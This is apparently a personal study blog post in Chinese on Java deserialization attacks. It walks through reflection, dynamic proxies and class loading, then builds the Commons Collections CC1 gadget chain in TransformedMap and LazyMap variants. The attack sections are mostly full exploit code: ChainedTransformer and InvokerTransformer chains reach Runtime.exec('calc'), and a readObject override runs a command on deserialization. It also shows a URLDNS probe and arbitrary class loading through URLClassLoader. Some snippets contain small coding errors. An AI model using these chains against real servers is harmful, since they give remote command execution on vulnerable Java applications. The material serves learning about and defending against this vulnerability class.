2023/09/14:java反序列化:入门

相关工具:ysoserial

参见b站up白日梦组长

以及来源于韩顺平的基础知识

基础

https://blog.csdn.net/mocas_wang/article/details/107621010

序列化:将java对象转换为字节序列,在两个Java进程进行通信时实现进程间对象传送
常见序列化与反序列化协议:XML&SOAP JSON Protobuf

序列化实现

这里是原生的
只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列
Serializable接口是一个空接口,Java提供的序列化接口
writeObject序列化
readObject反序列化:安全问题自动调用
可将以上两个方法重写实现自己需求

序列化一个没有实现 Serializable 接口的对象,你需要采取其他方法,比如使用一些外部库,或者手动实现序列化和反序列化的逻辑。比如使用 Java 的 ObjectOutputStreamObjectInputStream 来手动进行序列化和反序列化

Serializable 接口的特点

transient标识的对象成员变量不参与序列化,静态成员变量是不能被序列化,一个实现 Serializable 接口的子类也是可以被序列化的,序列化类的属性没有实现 Serializable 那么在序列化就会报错,在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象,Serializable 在序列化和反序列化过程中大量使用了反射,因此其过程会产生的大量的内存碎片

举例

序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
...
public class SerializationTest{
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("chessefile"));//转为字节序列
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
//System.out.println(person);
serialize(person);
}
}
...

反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
...
public class UnserializeTest{
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("cheesefile");
System.out.println(Person);
}
}
...

入口类source

可能的形式

1.入口类readObject直接调用危险方法(例:传一个类,在里面重写readObject加个命令执行,把这个类序列化,反序列化时会执行命令执行的代码)
2.入口类参数中包含可控类,该类有危险方法readObject临时调用
3.入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject临时调用(套娃)
4.构造函数/静态代码块等类加载时隐式执行(较底层)

条件

最好选择JDK内置类,通用的框架或包(传一个东西,服务器上有相同的,可序列化)
入口类重写readObject,调用常见函数,参数类型广泛(最好Object,也可以是接口实现类多或别的啥),如Map(HashMap HashTable啥的)

调用链gadget chain

找利用链:某些重写Object自带方法,有潜在危险函数,类可反序列化,该类可能出现在利用链上
相同名称(同名函数调用,相当于替换) 相同类型(继承父类或相同接口) 不停调用
例:URLDNS
存在反序列化点->传进去->服务器发起DNS请求->收到请求,验证漏洞,类似盲SSRF
调用HashCode方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
HashMap<URL,Interger> hashmap = new HashMap();
//这里不要发起请求,把url对象的hashcode改成不是-1
URL url = new URL("http://...");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1234);
hashmap.put(url,1);
//这里把hashcode改回-1,利用反射,同上
hashcodefield.set(url,-1);
serialize(hashmap);
//核心:新建对象,放到hashmap,序列化
//URL的readObject无可利用点
//入口A,接受参数O;目标类B,调用方法f,传递:A.readObject->B.f

执行类sink

实现rce ssrf balabala…

反序列化漏洞应用

1.定制需要的对象
2.通过invoke调用除了同名函数以外的函数
3.通过Class类(可以被序列化)创建对象,引入不能序列化的类(如Runtime,可命令执行)

反射

Class类

1.Class也是类,因此也继承Object类

2.Class类对象不是new出来的,是系统自动创建的

3.对于某个类的Class对象,在内存只有一份,类只加载一次

4.每个类的实例都会记得自己由哪个Class生成

5.通过Class对象可以完整得到一个类的结构

6.Class存放在堆

7.类的字节码二进制数据存放在方法区,有的地方称之为类的元数据(包括方法代码,变量名,方法名,访问权限等)

如下存在Class对象:

1.外部类,成员内部类,静态内部类,局部内部类,匿名内部类

2.interface:接口

3.数组

4.enum:枚举

5.annotation:注解

6.基本数据类型

7.void

类加载

Java类加载机制和对象创建过程 - 个人文章 - SegmentFault 思否

基本说明

类加载时机

1.创建对象时(new):静态加载

2.当子类被加载时,父类也加载:静态加载

3.调用类中的静态成员时:静态加载

4.反射:动态加载

如:Class.forName("com.test.Cat")

过程

类加载三个阶段

加载阶段

连接阶段

验证:

准备:

JVM会在该阶段对静态变量,分配内存并默认初始化(对应数据类型的默认初始值,如0,0L,null,false等)。这些变量使用的内存都在方法区分配

解析:

虚拟机将常量池内的符号引用替换为直接引用的过程(???)

初始化

反射基础

通过反射创建对象:

原文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Person implements Serializable {
public int age;
private String name;

public Person(int age, String name) {
this.age = age;
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public Person() {
}

@Override
public String toString() {
return "Person{" +
"age=" + age +
", name='" + name + '\'' +
'}';
}

public String getName() {
return name;
}

public void test(String name){
System.out.println(name);
}

public void setName(String name) {
this.name = name;
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}

反射:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.lang.reflect.Method;
import java.lang.reflect.Field;
import java.lang.reflect.Constructor;

public class fanshe {
public static void main(String[] args) throws Exception{
Person person = new Person(); //静态加载

Class c1 = Class.forName("Person");//类加载

//实例化:
//c1.newInstance();
Constructor s1 = c1.getConstructor(int.class,String.class);//获得构造器
Person p = (Person)s1.newInstance(111,"aaa");
//完成实例化,再强制转换赋值
System.out.println(p);

Field a = c1.getDeclaredField("name");//私有属性name
a.setAccessible(true);//设置为可以访问(?)
a.set(p,"bbbbb");//访问私有的name修改
System.out.println(p);//验证,修改成功

Method m = c1.getMethod("test",String.class);//调用方法public void test(String name)
m.invoke(p,"test");
}
}

反射plus:static final修饰

https://blog.csdn.net/wu_weijie/article/details/129251045#:~:text=

Java12需要指定模块:

1
--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED

JDK12前

原文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class name implements Serializable{
private final static String Name = new String("111");
//private final static String Name = "111"; 此形式无法以此方法反射修改
//JVM在编译时期, 就把final类型的String进行了优化, 在编译时期就会把String处理成常量
//虽然可以成功赋值,但只能输出原来的值
//https://www.cnblogs.com/noKing/p/9038234.html
@Override
public String toString() {
return " name=" + Name ;
}
public void print(){
System.out.println(Name);
}
public static String get(){
return Name;
}
}

反射:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class Main {
public static void main(String[] args) throws Exception {
name a = new name();

Class b = Class.forName("name");

Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
//通过反射获取私有方法

Field nameField = b.getDeclaredField("Name");

modifiersField.setInt(nameField, nameField.getModifiers() & ~Modifier.FINAL);//去除final
nameField.setAccessible(true);
nameField.set(null,"222");//修改静态变量
//https://blog.csdn.net/afdafvdaa/article/details/115277268

System.out.println(name.get());
}
}

JDK12后

JDK12以后,直接获取modifiers会报错,不允许直接获取 Field 类中的字段

jdk.internal.reflect.Reflection 第 58 行可以看到,fieldFilterMap 增加了 Field.class 的所有成员,即 Field 下的任何字段都不能直接通过公共反射方法获取。

调用私有方法 getDeclaredFields0可以获得想要的对象

1
2
3
4
5
6
7
8
9
10
Method getDeclaredFields0 = Class.class.getDeclaredMethod("getDeclaredFields0", boolean.class);
//使用反射获取 Class 类的 getDeclaredMethod 方法,该方法通常用于获取类的方法
getDeclaredFields0.setAccessible(true);//设置为可以访问
Field[] fields = (Field[]) getDeclaredFields0.invoke(Field.class, false);//通过反射调用 getDeclaredFields0 方法,以获取 Field 类的字段
Field modifiers = null;
for (Field each : fields) {
if ("modifiers".equals(each.getName())) {
modifiers = each;
}
}//遍历查找名为 "modifiers" 的字段,找到了就存储

JDK动态代理

设计模式(四)——搞懂什么是代理模式 - 知乎 (zhihu.com)

用途:不修改原代码进行拓展,功能附加增强,对其执行操作,用其他对象控制这个对象

注意:代理类和被代理类应该公用一个接口,或共同继承某个类

在反序列化中:利用invoke调用,类似readObject,有函数调用时可以自动执行invoke;可以拼接两条链

简要例子

UserProxy.java

1
2
3
4
5
6
7
8
9
10
11
12
13
public abstract class UserProxy implements IUser{
IUser user;
public UserProxy(){

}
public UserProxy(IUser user) {this.user=user;}

@Override
public void show(){
user.show();
System.out.println("show!!");
}
}

ProxyTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class ProxyTest {
public static void main(String[] args) {
IUser user = new UserImpl();
//user.show();
//静态代理
//IUser userProxy=new UserProxy(user);
//userProxy.show();
//动态代理
//需要:要代理的接口、要做的事,如这里的打印、类加载器
/*public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h)*/
InvocationHandler userinvocationhandler = new UserInvocationHandler(user);
IUser userProxy = (IUser)Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(),userinvocationhandler);//固定写法
//userProxy.show();
userProxy.update();
}
}

UserInvocationHandler.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class UserInvocationHandler implements InvocationHandler {
IUser user;
public UserInvocationHandler(){

}
public UserInvocationHandler(IUser user){
this.user=user;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

method.invoke(user,args);//反射调用,对代理的对象调用方法
//动态代理只需要一个调换位
return null;
}
}

IUser.java

1
2
3
4
5
public interface IUser {
void show();
void create();
void update();
}

UserImpl.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class UserImpl implements IUser{
public UserImpl(){

}
@Override
public void show(){
System.out.println("show!");
}
@Override
public void create(){
System.out.println("create!");
}
@Override
public void update(){
System.out.println("update!");
}
}

动态类加载

Java类加载机制和对象创建过程 - 个人文章 - SegmentFault 思否

面试官:说说双亲委派模型? - 掘金 (juejin.cn)

使用ClassLoader.loadClass不初始化

加载任意类原理(双亲委派):

继承关系:ClassLoader->SecureClassLoader->URLClassLoader->AppLoader/ExtClassLoader

调用关系:loadClass->findClass(重写的方法)->defineClass(从字节码加载类)

1
2
3
4
//第一种:URLClassLoader任意类加载:file/http/jar
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///D:\\tmp\\classes\\")});//支持其他协议,如http
Class<?> c = urlClassLoader.loadClass("Test");//类加载
c.newInstance();//初始化,将其实例化

可以直接调用D:\tmp\classes\文件夹下的Test.class

1
2
3
4
5
6
7
//第二种:ClassLoader.defineClass字节码加载任意类 私有
ClassLoader cl = ClassLoader.getSystemClassLoader();
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[],int .class,int.class);
defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Path.get("D:\\tep\\classes\\Test.class"));
Class c = (Class) defineClassMethod.invoke(cl,"Test",code,0,code.length);
c.newInstance();
1
2
3
4
5
6
7
8
9
10
//第三种:字节码加载,public类,但不能直接生成
//直接Unsafe.getUnsafe();会报错,有安全检查
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class c = Unsafe.class;
Field theUnsafeField = c.getDeclareField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class c2 = (Class)unsafe.defineClass("Test",code,0,code.length,cl,null);
c2.newInstance();
//Spring 可以直接生成的,有public

CC链

Apache Commons Collections包和简介 | 闪烁之狐 (blinkfox.github.io)

环境准备

github直接下载的zip格式ysoserial

jdk:1.8 8u65 IDEA

jdk8u/jdk8u/jdk: af660750b2f4 (openjdk.org)

从以上链接下载zip形式压缩包,解压缩后打开src=>share=>classes 复制sun

打开jdk所在文件夹 解压src并打开 将复制的sun黏贴在这里

随便点开一个cc下的文件,如InvokerTransformer.class,此为反编译文件,在IDEA里点击下载源码

前置内容

Transformer接口

1
2
3
4
5
6
public interface Transformer{
public Object transform(Object input);
}
//在org.apache.commons.collections.functors下
//接受对象,调用transform方法
//类似装饰器 代理

ConstantTransformer

部分代码:

1
2
3
4
5
6
7
8
9
10
//public class ConstantTransformer implements Transformer, Serializable 实现了该接口
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
//构造函数
public Object transform(Object input) {
return iConstant;
}
//实现的transform方法,接受对象,不管啥均返回常量

示例:

1
2
3
4
5
6
7
8
9
10
11
12
package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
public class testforlearn {
public static void main(String[] args){
ConstantTransformer c = new ConstantTransformer(Runtime.getRuntime());//获取当前 Java 应用程序的运行时对象
Object transform = c.transform(new Object());
System.out.println(transform.getClass().getName());
}
}
//返回值为java.lang.Runtime,也就是初始化时传进去的那个

InvokerTransformer

可以实现任意方法调用

部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {//接收一个对象
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);//方法值与参数类型
return method.invoke(input, iArgs);//参数
//反射调用

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

示例:

1
2
3
4
5
6
7
8
9
10
11
12
package ysoserial.payloads;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;

public class testforlearn {
public static void main(String[] args) throws IOException {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
//初始时先传入要调用的方法与参数类型,这里为使用exec方法,参数为calc也就是弹计算器
invokerTransformer.transform(Runtime.getRuntime());
//也就是执行Runtime.getRuntime().exec("calc");
}
}

ChainedTransformer

可以链式调用

部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
//构造函数传入要调用方法的数组
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);//上一个transform返回值作为下一个输入
}
return object;
}
//链式调用

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class testforlearn {
public static void main(String[] args) {
String cmd = "calc";

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//类似Class.forName("java.lang.Runtime")
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", null}
),//类似getMethod获得getRuntime方法,相当于method = Runtime.class.getMethod("getRuntime")
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, null}
),//getMethod后invoke,相当于反射的method.invoke(),调用方法getRuntime
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};//执行exec方法,变量为cmd,相当于invoke(exec,"calc")

Transformer transformedChain = new ChainedTransformer(transformers);
//把上面的数组传进去实现连续调用

// 执行对象转换操作
transformedChain.transform(null);//这里为null的是 一开始的object为runtime类,而getRuntime则不需要参数,如上Runtime.class
}
}//可以成功弹出计算器

CC1

跟进transform方法(ctrl+alt+f7),发现两个可利用类:TransfromedMapLazyMap

TransfromedMap式:

思路记录&exp:

大致思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.*;


import java.lang.annotation.*;
import java.lang.reflect.*;
import java.io.Serializable;
import java.util.*;
import java.security.AccessController;
import java.security.PrivilegedAction;
//上面这些大部分没啥用

public class testforlearn {
public static void main(String[] args) throws Exception{
//思路如下:

//Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
//注意:这个不能序列化

//new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
//实现放射调用,相当于Runtime.getRuntime().exec("calc");
//InvokerTransformer.transform调用危险方法

//跟进以上transform方法,查找用法,找到调用transform的
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap();
map.put("key","随便啥");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
//invokerTransformer给了this.valueTransformer,执行checkSetValue时会调用invoke...这个类的transform

//寻找能调用checkSetValue函数的,得到AbstractInputCheckedMapDecorator
//是TransformedMap父类,抽象类
//static class MapEntry extends AbstractMapEntryDecorator就是这个 有个setvalue

//举例:
//for(Map.Entry entry:transformedMap.entrySet()){//entry代表键值对
// entry.setValue(r);
//}
// 遍历被修饰(decorate)的map会走到Setvalue
//transformedMap没有setvalue,又因为针对entry操作,调用父类AbstractMapEntryDecorator里MapEntry下的setvalue
//AbstractMapEntryDecorator的setvalue:
//value = parent.checkSetValue(value)调用了checksetvalue,也就是TransformedMap的checksetvalue
//到这里,没注释掉循环就能在执行完后弹出计算器

//接下来寻找readObject 找到AnnotationInvocationHandler 非常契合上面被注释掉的循环
//动态代理时调用的处理器类
//但需反射调用才行
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlCon = c.getDeclaredConstructor(Class.class,Map.class);
//注意是getDeclaredConstructor,构造函数default类型
annotationInvocationhdlCon.setAccessible(true);
Object o = annotationInvocationhdlCon.newInstance(Override.class,transformedMap);
//此时出现两个问题:1.setValue里面是AnnotationTypeMismatchExceptionProxy对象 2.Runtime不能序列化

serialize(o);
unserialize("ser.bin");

//所以面对上面两个问题又要重新写了
/*裂开*/

}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

最终&exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.*;
import java.lang.Runtime;

import java.lang.annotation.*;
import java.lang.reflect.*;
import java.io.Serializable;
import java.util.*;
import java.security.AccessController;
import java.security.PrivilegedAction;

public class testforlearn2 {
public static void main(String[] args) throws Exception{
//Runtime的class可以序列化
//Class c = Runtime.class;
//构造器私有,单例模式
//Method getRuntimeMethod = c.getMethod("getRuntime", null);//获取静态方法

//在Runtime中:
//private static Runtime currentRuntime = new Runtime();
//public static Runtime getRuntime() {return currentRuntime;}
//所以要通过getRuntime()

//Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
//Method execMethod = c.getMethod("exec",String.class);
//execMethod.invoke(r,"calc");

//这些反射可以InvokerTransformer代替

//Method getMethod1 = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//第二个参数为getMethod所需两个参数的类型,第三个为参数值
//Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getMethod1);
//new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
//这样这3行代码实现上面的反射调用
//注意到连续使用了transform,可以用ChainedTransformer

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//关于为什么加这个见后
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);

HashMap<Object, Object> map = new HashMap();
//map.put("key","随便啥");
map.put("value","随便啥");
Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
//这里思路同前

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlCon = c.getDeclaredConstructor(Class.class,Map.class);

//可能的两个问题:1.AnnotationInvocationHandler里反序列化遍历数组时会遇到两个if 可能没进去
//2.setValue对AnnotationTypeMismatchExceptionProxy做调用
//结果就是这些从前面那里复制来的代码跑不了

annotationInvocationhdlCon.setAccessible(true);

//Object o = annotationInvocationhdlCon.newInstance(Override.class,transformedMap);
Object o = annotationInvocationhdlCon.newInstance(Target.class,transformedMap);
//AnnotationInvocationHandler查看有没有和map.put("","")第一个值相同的参数
//Target中有ElementType[] value();
//Override改Target key改value解决第一个问题

//第二个问题:setValue的value值为AnnotationTypeMismatchExceptionProxy
//就是valueTransformer.transform(value)的value为AnnotationTypeMismatchExceptionProxy
//在transform数组里加个ConstantTransformer,这样就不受value影响了
serialize(o);
unserialize("ser.bin");




}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
TransfromedMap:

跟到这个类,发现:

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

构造函数:

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}//protected 自己调用 接受了map

跟这个构造函数,发现:

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}//静态方法,接受map
AbstractInputCheckedMapDecorator:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//部分代码
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
AnnotationInvocationHandler:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//部分代码
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();//可以看到实现遍历
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(//调用setvalue
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

构造函数:

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {//可控制的map,可以放transformedMap,第一个变量接受注解比如@override
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

注意这个类的定义:

1
class AnnotationInvocationHandler implements InvocationHandler, Serializable

default类型,实例化时只能在annotation下才能访问到,需要反射调用

LazyMap式:

思路&exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.*;
import java.lang.Runtime;

import java.lang.annotation.*;
import java.lang.reflect.*;
import java.io.Serializable;
import java.util.*;
import java.security.AccessController;
import java.security.PrivilegedAction;
//以上大部分没用
public class testforlearn2 {
public static void main(String[] args) throws Exception{
//前面过程相同,略
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap();
map.put("value","随便啥");
Map transformedMap = LazyMap.decorate(map,chainedTransformer);
//还是差不多,不过使用LazyMap利用的是get()

Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
//依旧相同

//接下来是不同点:
//AnnotationInvocationHandler首先要调用invoke函数去执行get()
//这里考虑动态代理,只要将AnnotationInvocationHandler当作委托,那么只要调用代理类,必然会触发委托类的invoke
//最后才是序列化

InvocationHandler handler=(InvocationHandler) constructor.newInstance(Retention.class,transformedMap);//第一个参数是注解的class,这里啥注解都行
//只需要走到readObject的for (Map.Entry<String, Object> memberValue : memberValues.entrySet()),不像上一个还要进去这个循环
Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler);
//动态代理固定写法
//动态代理继承InvocationHandler 该接口可以执行invoke
//但proxyMap不能直接序列化,还需包裹

handler= (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);
//代理下有readObject了
//可以看到它的父类并没有Serializable接口
//这样只能手动转换为字节序列来实现序列化

//最外层AnnotationInvocationHandler的memberValues是代理
//下一层(上面menberValues的值)的menberValues是LazyMap

//手动实现序列化
//为啥这么做详见Serializer.java
serialize(handler);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();//这里报错java.lang.ProcessImpl 类型不能被转换为 java.util.Set
return obj;
}
}
//能用,但是一堆报错,问题不大(
LazyMap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//部分代码
